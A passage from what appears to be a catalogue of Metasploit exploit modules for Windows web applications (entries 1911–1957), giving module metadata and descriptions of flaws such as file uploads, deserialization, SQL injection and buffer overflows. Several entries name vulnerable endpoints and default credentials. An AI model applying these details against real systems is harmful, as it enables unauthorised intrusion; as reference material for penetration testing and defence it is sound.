
Description:
  Ivanti Avalanche prior to v6.4.0.186 permits MS-DOS style short
  names in the configuration path for the Central FileStore. Because 
of
  this, an administrator can change the default path to the web root
  of the applications, upload a JSP file, and achieve RCE as NT 
AUTHORITY\SYSTEM.

End Exploit Number 1911
```

```
Begin Exploit Number 1912
       Name: Ivanti EPM RecordGoodApp SQLi RCE
     Module: exploit/windows/http/ivanti_epm_recordgoodapp_sqli_rce
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2024-05-24

Payload information:

Description:
  Ivanti Endpoint Manager (EPM) 2022 SU5 and prior are vulnerable to
unauthenticated SQL injection which can be leveraged to achieve
unauthenticated remote code execution.

End Exploit Number 1912

Begin Exploit Number 1913
       Name: JIRA Issues Collector Directory Traversal
     Module: exploit/windows/http/jira_collector_traversal
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-02-26

Payload information:

Description:
  This module exploits a directory traversal flaw in JIRA 6.0.3. The
vulnerability exists
  in the issues collector code, while handling attachments provided by
the user. It can be
  exploited in Windows environments to get remote code execution. This
module has been tested
  successfully on JIRA 6.0.3 with Windows 2003 SP2 Server.

End Exploit Number 1913

Begin Exploit Number 1914
       Name: Kaseya VSA uploader.aspx Arbitrary File Upload
     Module: exploit/windows/http/kaseya_uploader
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-09-23

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability found in
Kaseya VSA versions
  between 7 and 9.1. A malicious unauthenticated user can upload an
ASP file to an arbitrary
  directory leading to arbitrary code execution with IUSR privileges.
This module has been
  tested with Kaseya v7.0.0.17, v8.0.0.10 and v9.0.0.3.

End Exploit Number 1914

Begin Exploit Number 1915
       Name: Kaseya uploadImage Arbitrary File Upload
     Module: exploit/windows/http/kaseya_uploadimage_file_upload
   Platform: Windows
       Arch: x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-11-11

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability found in
Kaseya versions below
  6.3.0.2. A malicious user can upload an ASP file to an arbitrary
directory without previous
  authentication, leading to arbitrary code execution with IUSR
privileges.

End Exploit Number 1915

Begin Exploit Number 1916
       Name: Kentico CMS Staging SyncServer Unserialize Remote Command
Execution
     Module: exploit/windows/http/kentico_staging_syncserver
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-04-15

Payload information:
```

```
Description:
  This module exploits a vulnerability in the Kentico CMS platform
versions 12.0.14 and earlier.
  Remote Command Execution is possible via unauthenticated XML
requests to the Staging Service
  SyncServer.asmx interface ProcessSynchronizationTaskData method
stagingTaskData parameter. XML
  input is passed to an insecure .NET deserialize call which allows
for remote command execution.

End Exploit Number 1916

Begin Exploit Number 1917
       Name: Kolibri HTTP Server HEAD Buffer Overflow
     Module: exploit/windows/http/kolibri_http
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2010-12-26

Payload information:
  Space: 3000
  Avoid: 6 characters

Description:
  This exploits a stack buffer overflow in version 2 of the Kolibri
HTTP server.

End Exploit Number 1917

Begin Exploit Number 1918
       Name: LANDesk Lenovo ThinkManagement Console Remote Command
Execution
     Module: exploit/windows/http/landesk_thinkmanagement_upload_asp
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-02-15

Payload information:

Description:
  This module can be used to execute a payload on LANDesk Lenovo
  ThinkManagement Suite 9.0.2 and 9.0.3.

  The payload is uploaded as an ASP script by sending a specially
```

```
crafted
  SOAP request to "/landesk/managementsuite/core/core.anonymous/
ServerSetup.asmx"
  , via a "RunAMTCommand" operation with the command '-
PutUpdateFileCore'
  as the argument.

  After execution, the ASP script with the payload is deleted by
sending
  another specially crafted SOAP request to "WSVulnerabilityCore/
VulCore.asmx"
  via a "SetTaskLogByFile" operation.

End Exploit Number 1918

Begin Exploit Number 1919
       Name: Lexmark MarkVision Enterprise Arbitrary File Upload
     Module: exploit/windows/http/lexmark_markvision_gfd_upload
   Platform: Windows
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-12-09

Payload information:

Description:
  This module exploits a code execution flaw in Lexmark MarkVision
Enterprise before version 2.1.
  A directory traversal vulnerability in the GfdFileUploadServlet
servlet allows an unauthenticated
  attacker to upload arbitrary files, including arbitrary JSP code.
This module has been
  tested successfully on Lexmark MarkVision Enterprise 2.0 with
Windows 2003 SP2.

End Exploit Number 1919

Begin Exploit Number 1920
       Name: LG Simple Editor Remote Code Execution
     Module: exploit/windows/http/lg_simple_editor_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-24

Payload information:
```

```
Description:
  This Metasploit module exploits broken access control and directory
traversal
  vulnerabilities in LG Simple Editor software for gaining code
execution.
  The vulnerabilities exist in versions of LG Simple Editor prior to
v3.21.
  By exploiting this flaw, an attacker can upload and execute a
malicious JSP
  payload with the SYSTEM user permissions.

End Exploit Number 1920

Begin Exploit Number 1921
       Name: MailEnable Authorization Header Buffer Overflow
     Module: exploit/windows/http/mailenable_auth_header
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2005-04-24

Payload information:
  Space: 512
  Avoid: 2 characters

Description:
  This module exploits a remote buffer overflow in the MailEnable web
service.
  The vulnerability is triggered when a large value is placed into the
Authorization
  header of the web request. MailEnable Enterprise Edition versions
prior to 1.0.5 and
  MailEnable Professional versions prior to 1.55 are affected.

End Exploit Number 1921

Begin Exploit Number 1922
       Name: ManageEngine OpManager Remote Code Execution
     Module: exploit/windows/http/manage_engine_opmanager_rce
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2015-09-14

Payload information:
```

```
Description:
  This module exploits a default credential vulnerability in
ManageEngine OpManager, where a
  default hidden account "IntegrationUser" with administrator
privileges exists. The account
  has a default password of "plugin" which cannot be reset through the
user interface. By
  log-in and abusing the default administrator's SQL query
functionality, it's possible to
  write a WAR payload to disk and trigger an automatic deployment of
this payload. This
  module has been tested successfully on OpManager v11.0 and v11.4-
v11.6 for Windows.

End Exploit Number 1922

Begin Exploit Number 1923
       Name: ManageEngine ADAudit Plus Authenticated File Write RCE
     Module: exploit/windows/http/
manageengine_adaudit_plus_authenticated_rce
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-10-01

Payload information:

Description:
  This module exploits security issues in ManageEngine ADAudit Plus
  prior to 7006 that allow authenticated users to execute arbitrary
  code by creating a custom alert profile and leveraging its custom
  alert script component.

  The module first runs a few checks to test the provided
  credentials, retrieve the configured domain(s) and obtain the
  build number of the target ADAudit Plus server.

  If the credentials are valid and the target is
  vulnerable, the module creates an alert profile that will be
  triggered for any failed login attempt to the configured domain.

  For versions prior to build 7004, the payload is directly inserted
  in the custom alert script component of the alert profile.

  For versions 7004 and 7005, the module leverages an arbitrary file
  write vulnerability (CVE-2021-42847) to create a Powershell script
  in the alert_scripts directory that contains the payload. The name
  of this script is then provided as the value for the custom alert
  script component of the alert profile.

  This module requires valid credentials for an account with the
  privileges to create alert scripts. It has been successfully tested
  against ManageEngine ADAudit Plus builds 7003 and 7005 running on
  Windows Server 2012 R2.

  Successful exploitation will result in RCE as the user running
  ManageEngine ADAudit Plus, which will typically be the local
  administrator.

End Exploit Number 1923

Begin Exploit Number 1924
       Name: ManageEngine ADAudit Plus CVE-2022-28219
     Module: exploit/windows/http/
manageengine_adaudit_plus_cve_2022_28219
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-29

Payload information:

Description:
  This module exploits CVE-2022-28219, which is a pair of
  vulnerabilities in ManageEngine ADAudit Plus versions before build
  7060: a path traversal in the /cewolf endpoint, and a blind XXE in,
  to upload and execute an executable file.

End Exploit Number 1924

Begin Exploit Number 1925
       Name: ManageEngine ADManager Plus ChangePasswordAction
Authenticated Command Injection
     Module: exploit/windows/http/
manageengine_admanager_plus_cve_2023_29084_auth_cmd_injection
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-04-12

Payload information:
  Avoid: 10 characters
```

```
Description:
  ManageEngine ADManager Plus prior to build 7181 is vulnerable to an
authenticated command injection due to insufficient
  validation of user input when performing the ChangePasswordAction
function before passing it into a string that is later
  used as an OS command to execute.

  By making a POST request to /api/json/admin/saveServerSettings with
a params POST
  parameter containing a JSON array object that has a USERNAME or
PASSWORD element containing a
  carriage return and newline, followed by the command the attacker
wishes to execute, an attacker can gain RCE as the user
  running ADManager Plus, which will typically be the local
administrator.

  Note that the attacker must be authenticated in order to send
requests to /api/json/admin/saveServerSettings,
  so this vulnerability does require authentication to exploit.

  As this exploit modifies the HTTP proxy settings for the entire
server, one cannot use fetch payloads
  with this exploit, since these will use HTTP connections that will
be affected by the change in configuration.

End Exploit Number 1925

Begin Exploit Number 1926
       Name: ManageEngine ADSelfService Plus CVE-2021-40539
     Module: exploit/windows/http/
manageengine_adselfservice_plus_cve_2021_40539
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-07

Payload information:

Description:
  This module exploits CVE-2021-40539, a REST API authentication
bypass
  vulnerability in ManageEngine ADSelfService Plus, to upload a JAR
and
  execute it as the user running ADSelfService Plus - which is SYSTEM
if
  started as a service.

End Exploit Number 1926
```

```
Begin Exploit Number 1927
       Name: ManageEngine ADSelfService Plus Custom Script Execution
     Module: exploit/windows/http/
manageengine_adselfservice_plus_cve_2022_28810
   Platform: Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-04-09

Payload information:

Description:
  This module exploits the "custom script" feature of ADSelfService
Plus. The
  feature was removed in build 6122 as part of the patch for
CVE-2022-28810.
  For purposes of this module, a "custom script" is arbitrary
operating system
  command execution.

  This module uses an attacker provided "admin" account to insert the
malicious
  payload into the custom script fields. When a user resets their
password or
  unlocks their account, the payload in the custom script will be
executed.
  The payload will be executed as SYSTEM if ADSelfService Plus is
installed as
  a service, which we believe is the normal operational behavior.

  This is a passive module because user interaction is required to
trigger the
  payload. This module also does not automatically remove the
malicious code from
  the remote target. Use the "TARGET_RESET" operation to remove the
malicious
  custom script when you are done.

  ADSelfService Plus uses default credentials of "admin":"admin"

End Exploit Number 1927

Begin Exploit Number 1928
       Name: ManageEngine Exchange Reporter Plus Unauthenticated RCE
     Module: exploit/windows/http/manageengine_adshacluster_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-06-28

Payload information:

Description:
  This module exploits a remote code execution vulnerability that
  exists in Exchange Reporter Plus <= 5310, caused by execution of
  bcp.exe file inside ADSHACluster servlet

End Exploit Number 1928

Begin Exploit Number 1929
       Name: ManageEngine Applications Manager Remote Code Execution
     Module: exploit/windows/http/manageengine_appmanager_exec
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-07

Payload information:
  Avoid: 1 characters

Description:
  This module exploits command injection vulnerability in the
ManageEngine Application Manager product.
  An unauthenticated user can execute a operating system command under
the context of privileged user.

  Publicly accessible testCredential.do endpoint takes multiple user
inputs and validates supplied credentials
  by accessing given system. This endpoint calls a several internal
classes and then executes powershell script
  without validating user supplied parameter when the given system is
OfficeSharePointServer.

End Exploit Number 1929

Begin Exploit Number 1930
       Name: ManageEngine Applications Manager Authenticated Code
Execution
     Module: exploit/windows/http/manageengine_apps_mngr
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
```

```
       Rank: Average
  Disclosed: 2011-04-08

Payload information:

Description:
  This module logs into the Manage Engine Applications Manager to
upload a
  payload to the file system and a batch script that executes the
payload.

End Exploit Number 1930

Begin Exploit Number 1931
       Name: ManageEngine Desktop Central 9 FileUploadServlet
ConnectionId Vulnerability
     Module: exploit/windows/http/manageengine_connectionid_write
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-12-14

Payload information:

Description:
  This module exploits a vulnerability found in ManageEngine Desktop
Central 9. When
  uploading a 7z file, the FileUploadServlet class does not check the
user-controlled
  ConnectionId parameter in the FileUploadServlet class. This allows a
remote attacker to
  inject a null bye at the end of the value to create a malicious file
with an arbitrary
  file type, and then place it under a directory that allows server-
side scripts to run,
  which results in remote code execution under the context of SYSTEM.

  Please note that by default, some ManageEngine Desktop Central
versions run on port 8020,
  but older ones run on port 8040. Also, using this exploit will leave
debugging information
  produced by FileUploadServlet in file rdslog0.txt.

  This exploit was successfully tested on version 9, build 90109 and
build 91084.

End Exploit Number 1931
```

```
Begin Exploit Number 1932
       Name: ManageEngine Endpoint Central Unauthenticated SAML RCE
     Module: exploit/windows/http/
manageengine_endpoint_central_saml_rce_cve_2022_47966
   Platform: Windows, Java
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-01-10

Payload information:

Description:
  This exploits an unauthenticated remote code execution vulnerability
  that affects Zoho ManageEngine Endpoint Central and MSP versions
10.1.2228.10
  and below (CVE-2022-47966). Due to a dependency to an outdated
library
  (Apache Santuario version 1.4.1), it is possible to execute
arbitrary
  code by providing a crafted `samlResponse` XML to the Endpoint
Central
  SAML endpoint. Note that the target is only vulnerable if it is
  configured with SAML-based SSO , and the service should be active.

End Exploit Number 1932

Begin Exploit Number 1933
       Name: ManageEngine ServiceDesk Plus CVE-2021-44077
     Module: exploit/windows/http/
manageengine_servicedesk_plus_cve_2021_44077
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-09-16

Payload information:

Description:
  This module exploits CVE-2021-44077, an unauthenticated remote code
  execution vulnerability in ManageEngine ServiceDesk Plus, to upload
an
  EXE (msiexec.exe) and execute it as the SYSTEM account.

  Note that build 11305 is vulnerable to the authentication bypass but
  not the file upload. The module will check for an exploitable build.
```

```
End Exploit Number 1933

Begin Exploit Number 1934
       Name: MaxDB WebDBM Database Parameter Overflow
     Module: exploit/windows/http/maxdb_webdbm_database
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2006-08-29

Payload information:
  Space: 400
  Avoid: 14 characters

Description:
  This module exploits a stack buffer overflow in the MaxDB WebDBM
  service. By sending a specially-crafted HTTP request that contains
  an overly long database name. A remote attacker could overflow a
buffer
  and execute arbitrary code on the system with privileges of the
wahttp process.

  This module has been tested against MaxDB 7.6.00.16 and MaxDB
7.6.00.27.

End Exploit Number 1934

Begin Exploit Number 1935
       Name: MaxDB WebDBM GET Buffer Overflow
     Module: exploit/windows/http/maxdb_webdbm_get_overflow
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2005-04-26

Payload information:
  Space: 2052
  Avoid: 14 characters

Description:
  This module exploits a stack buffer overflow in the MaxDB WebDBM
  service. This service is included with many recent versions
  of the MaxDB and SAPDB products. This particular module is
  capable of exploiting Windows systems through the use of an
  SEH frame overwrite. The offset to the SEH frame may change
  depending on where MaxDB has been installed, this module
  assumes a web root path with the same length as:

  C:\Program Files\sdb\programs\web\Documents

End Exploit Number 1935

Begin Exploit Number 1936
       Name: McAfee ePolicy Orchestrator / ProtectionPilot Overflow
     Module: exploit/windows/http/mcafee_epolicy_source
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-07-17

Payload information:
  Space: 1000
  Avoid: 13 characters

Description:
  This is an exploit for the McAfee HTTP Server (NAISERV.exe).
  McAfee ePolicy Orchestrator 2.5.1 <= 3.5.0 and ProtectionPilot 1.1.0
are
  known to be vulnerable. By sending a large 'Source' header, the
stack can
  be overwritten. This module is based on the exploit by xbxice and
muts.
  Due to size constraints, this module uses the Egghunter technique.

End Exploit Number 1936

Begin Exploit Number 1937
       Name: MDaemon WorldClient form2raw.cgi Stack Buffer Overflow
     Module: exploit/windows/http/mdaemon_worldclient_form2raw
   Platform: Windows
       Arch: x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-12-29

Payload information:
  Space: 900
  Avoid: 27 characters

Description:
  This module exploits a stack buffer overflow in Alt-N MDaemon SMTP
server for
  versions 6.8.5 and earlier. When WorldClient HTTP server is
```

```
installed (default),
  a CGI script is provided to accept html FORM based emails and
deliver via MDaemon.exe,
  by writing the CGI output to the Raw Queue. When X-FromCheck is
enabled (also default),
  the temporary form2raw.cgi data is copied by MDaemon.exe and a stack
based
  overflow occurs when an excessively long From field is specified.
  The RawQueue is processed every 1 minute by default, to a maximum of
60 minutes.
  Keep this in mind when choosing payloads or setting WfsDelay...
You'll need to wait.

  Furthermore, this exploit uses a direct memory jump into a nopsled
(which isn't very
  reliable). Once the payload is written into the Raw Queue by
Form2Raw, MDaemon will
  continue to crash/execute the payload until the CGI output is
manually deleted
  from the queue in C:\MDaemon\RawFiles\*.raw.

End Exploit Number 1937

Begin Exploit Number 1938
       Name: Minishare 1.4.1 Buffer Overflow
     Module: exploit/windows/http/minishare_get_overflow
   Platform: Windows
       Arch:
 Privileged: No
    License: BSD License
       Rank: Average
  Disclosed: 2004-11-07

Payload information:
  Space: 1024
  Avoid: 14 characters

Description:
  This is a simple buffer overflow for the minishare web
  server. This flaw affects all versions prior to 1.4.2. This
  is a plain stack buffer overflow that requires a "jmp esp" to reach
  the payload, making this difficult to target many platforms
  at once. This module has been successfully tested against
  1.4.1. Version 1.3.4 and below do not seem to be vulnerable.

End Exploit Number 1938

Begin Exploit Number 1939
       Name: MiniWeb (Build 300) Arbitrary File Upload
     Module: exploit/windows/http/miniweb_upload_wbem
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-04-09

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in MiniWeb HTTP server (build
300).
  The software contains a file upload vulnerability that allows an
  unauthenticated remote attacker to write arbitrary files to the file
system.

  Code execution can be achieved by first uploading the payload to the
remote
  machine as an exe file, and then upload another mof file, which
enables
  WMI (Management Instrumentation service) to execute the uploaded
payload.
  Please note that this module currently only works for Windows before
Vista.

End Exploit Number 1939

Begin Exploit Number 1940
       Name: MOVEit SQL Injection vulnerability
     Module: exploit/windows/http/moveit_cve_2023_34362
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-31

Payload information:
  Space: 345

Description:
  This module exploits an SQL injection vulnerability in the MOVEit
Transfer web application
  that allows an unauthenticated attacker to gain access to MOVEit
Transfer’s database.
  Depending on the database engine being used (MySQL, Microsoft SQL
Server, or Azure SQL), an
  attacker can leverage an information leak be able to upload a .NET
deserialization payload.
```

```
End Exploit Number 1940

Begin Exploit Number 1941
       Name: NaviCOPA 2.0.1 URL Handling Buffer Overflow
     Module: exploit/windows/http/navicopa_get_overflow
   Platform: Windows
       Arch:
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2006-09-28

Payload information:
  Space: 400
  Avoid: 13 characters

Description:
  This module exploits a stack buffer overflow in NaviCOPA 2.0.1.
  The vulnerability is caused due to a boundary error within the
  handling of URL parameters.

End Exploit Number 1941

Begin Exploit Number 1942
       Name: NetDecision 4.5.1 HTTP Server Buffer Overflow
     Module: exploit/windows/http/netdecision_http_bof
   Platform: Windows
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2012-02-24

Payload information:
  Avoid: 9 characters

Description:
  This module exploits a vulnerability found in NetDecision's HTTP
service
  (located in C:\Program Files\NetDecision\Bin\HttpSvr.exe).  By
supplying a
  long string of data to the URL, an overflow may occur if the data
gets handled
  by HTTP Server's active window.  In other words, in order to gain
remote code
  execution, the victim is probably looking at HttpSvr's window.

End Exploit Number 1942
```

```
Begin Exploit Number 1943
       Name: NETGEAR ProSafe Network Management System 300 Arbitrary
File Upload
     Module: exploit/windows/http/netgear_nms_rce
   Platform: Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-02-04

Payload information:

Description:
  Netgear's ProSafe NMS300 is a network management utility that runs
on Windows systems.
  The application has multiple vulnerabilities that can allow an
unauthenticated remote
  attacker to execute code as SYSTEM user. Vulnerabilities include
authentication bypass,
  SQL injection, arbitrary file upload, and privilege escalation
across various versions.
  This module is able to spawn a meterpreter session by chaining
together two specific
  vulnerabilities inside the FileUploadController and
MyHandlerInterceptor classes.
  This module has been tested with versions 1.5.0.2, 1.4.0.17,
1.1.0.13, 1.7.0.12, and 1.7.0.1.

End Exploit Number 1943

Begin Exploit Number 1944
       Name: NetMotion Mobility Server MvcUtil Java Deserialization
     Module: exploit/windows/http/
netmotion_mobility_mvcutil_deserialization
   Platform: Windows
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-02-08

Payload information:

Description:
  This module exploits an unauthenticated Java deserialization in the
  NetMotion Mobility server's MvcUtil.valueStringToObject() method, as
  invoked through the /mobility/Menu/isLoggedOn endpoint, to execute
  code as the SYSTEM account.
  Mobility server versions 11.x before 11.73 and 12.x before 12.02 are
  vulnerable. Tested against 12.01.09045 on Windows Server 2016.

End Exploit Number 1944

Begin Exploit Number 1945
       Name: NorthStar C2 XSS to Agent RCE
     Module: exploit/windows/http/northstar_c2_xss_to_agent_rce
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-03-12

Payload information:

Description:
  NorthStar C2, prior to commit 7674a44 on March 11 2024, contains a
vulnerability where the logs page is
  vulnerable to a stored xss.
  An unauthenticated user can simulate an agent registration to cause
the XSS and take over a users session.
  With this access, it is then possible to run a new payload on all of
the NorthStar C2 compromised hosts
  (agents), and kill the original agent.

  Successfully tested against NorthStar C2 commit
e7fdce148b6a81516e8aa5e5e037acd082611f73 running on
  Ubuntu 22.04. The agent was running on Windows 10 19045.

End Exploit Number 1945

Begin Exploit Number 1946
       Name: Novell iManager getMultiPartParameters Arbitrary File
Upload
     Module: exploit/windows/http/novell_imanager_upload
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-10-01

Payload information:

Description:
  This module exploits a directory traversal vulnerability which
  allows remote attackers to upload and execute arbitrary code.
  PortalModuleInstallManager

End Exploit Number 1946

Begin Exploit Number 1947
       Name: Novell Zenworks Mobile Managment MDM.php Local File
Inclusion Vulnerability
     Module: exploit/windows/http/novell_mdm_lfi
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-03-13

Payload information:

Description:
  This module exercises a vulnerability in Novel Zenworks Mobile
Management's Mobile Device Management component
  which can allow unauthenticated remote code execution. Due to a flaw
in the MDM.php script's input validation,
  remote attackers can both upload and execute code via a directory
traversal flaw exposed in the 'language'
  parameter of a POST call to DUSAP.php.

End Exploit Number 1947

Begin Exploit Number 1948
       Name: Novell Messenger Server 2.0 Accept-Language Overflow
     Module: exploit/windows/http/novell_messenger_acceptlang
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2006-04-13

Payload information:
  Space: 500
  Avoid: 30 characters

Description:
  This module exploits a stack buffer overflow in Novell GroupWise
  Messenger Server v2.0. This flaw is triggered by any HTTP
  request with an Accept-Language header greater than 16 bytes.
  To overwrite the return address on the stack, we must first
  pass a memcpy() operation that uses pointers we supply. Due to the
  large list of restricted characters and the limitations of the
current
```

```
  encoder modules, very few payloads are usable.

End Exploit Number 1948

Begin Exploit Number 1949
       Name: Now SMS/MMS Gateway Buffer Overflow
     Module: exploit/windows/http/nowsms
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Good
  Disclosed: 2008-02-19

Payload information:
  Space: 148
  Avoid: 28 characters

Description:
  This module exploits a stack buffer overflow in Now SMS/MMS Gateway 
v2007.06.27.
  By sending a specially crafted GET request, an attacker may be able 
to execute
  arbitrary code.

End Exploit Number 1949

Begin Exploit Number 1950
       Name: NSClient++ 0.5.2.35 - ExternalScripts Authenticated 
Remote Code Execution
     Module: exploit/windows/http/nscp_authenticated_rce
   Platform: Windows
       Arch: x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-20

Payload information:

Description:
  This module allows an attacker with knowledge of the admin password 
of NSClient++
  to start a privilege shell.
  For this module to work, both web interface of NSClient++ and 
`ExternalScripts` feature
  should be enabled.

End Exploit Number 1950
```

```
Begin Exploit Number 1951
       Name: Oracle Application Testing Suite WebLogic Server
Administration Console War Deployment
     Module: exploit/windows/http/oats_weblogic_console
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-13

Payload information:

Description:
  This module abuses a feature in WebLogic Server's Administration
Console to install
  a malicious Java application in order to gain remote code execution.
Authentication
  is required, however by default, Oracle ships with a "oats" account
that you could
  log in with, which grants you administrator access.


End Exploit Number 1951

Begin Exploit Number 1952
       Name: Octopus Deploy Authenticated Code Execution
     Module: exploit/windows/http/octopusdeploy_deploy
   Platform: Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2017-05-15

Payload information:

Description:
  This module can be used to execute a payload on an Octopus Deploy
server given
  valid credentials or an API key. The payload is executed as a
powershell script step
  on the Octopus Deploy server during a deployment.

End Exploit Number 1952

Begin Exploit Number 1953
       Name: Oracle 9i XDB HTTP PASS Overflow (win32)
     Module: exploit/windows/http/oracle9i_xdb_pass
   Platform: Windows
```

```
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2003-08-18

Payload information:
  Space: 400
  Avoid: 1 characters

Description:
  This module exploits a stack buffer overflow in the authorization
  code of the Oracle 9i HTTP XDB service. David Litchfield,
  has illustrated multiple vulnerabilities in the Oracle
  9i XML Database (XDB), during a seminar on "Variations
  in exploit methods between Linux and Windows" presented
  at the Blackhat conference.

End Exploit Number 1953

Begin Exploit Number 1954
       Name: Oracle BeeHive 2 voice-servlet processEvaluation() 
Vulnerability
     Module: exploit/windows/http/oracle_beehive_evaluation
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-06-09

Payload information:

Description:
  This module exploits a vulnerability found in Oracle BeeHive. The 
processEvaluation method
  found in voice-servlet can be abused to write a malicious file onto 
the target machine, and
  gain remote arbitrary code execution under the context of SYSTEM.

End Exploit Number 1954

Begin Exploit Number 1955
       Name: Oracle BeeHive 2 voice-servlet prepareAudioToPlay() 
Arbitrary File Upload
     Module: exploit/windows/http/oracle_beehive_prepareaudiotoplay
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
```

```
       Rank: Excellent
  Disclosed: 2015-11-10

Payload information:

Description:
  This module exploits a vulnerability found in Oracle BeeHive. The
prepareAudioToPlay method
  found in voice-servlet can be abused to write a malicious file onto
the target machine, and
  gain remote arbitrary code execution under the context of SYSTEM.
Authentication is not
  required to exploit this vulnerability.

End Exploit Number 1955

Begin Exploit Number 1956
       Name: Oracle Business Transaction Management FlashTunnelService
Remote Code Execution
     Module: exploit/windows/http/oracle_btm_writetofile
   Platform: Java, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-08-07

Payload information:
  Space: 2048

Description:
  This module exploits abuses the FlashTunnelService SOAP web service
on Oracle
  Business Transaction Management 12.1.0.7 to upload arbitrary files,
without
  authentication, using the WriteToFile method. The same method
contains a directory
  traversal vulnerability, which allows to upload the files to
arbitrary locations.

  In order to execute remote code two techniques are provided. If the
Oracle app has
  been deployed in the same WebLogic Samples Domain a JSP can be
uploaded to the web
  root. If a new Domain has been used to deploy the Oracle
application, the Windows
  Management Instrumentation service can be used to execute arbitrary
code.

  Both techniques have been successfully tested on default installs of
```

```
Oracle BTM
  12.1.0.7, Weblogic 12.1.1 and Windows 2003 SP2. Default path
traversal depths are
  provided, but the user can configure the traversal depth using the
DEPTH option.

End Exploit Number 1956

Begin Exploit Number 1957
       Name: Oracle Endeca Server Remote Command Execution
     Module: exploit/windows/http/oracle_endeca_exec
   Platform: Windows
       Arch: x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-07-16

Payload information:

Description:
  This module exploits a command injection vulnerability on the Oracle
Endeca
  Server 7.4.0. The vulnerability exists on the createDataStore method
from the
  controlSoapBinding web service. The vulnerable method only exists on
the 7.4.0
  branch and isn't available on the 7.5.5.1 branch. In addition, the
injection
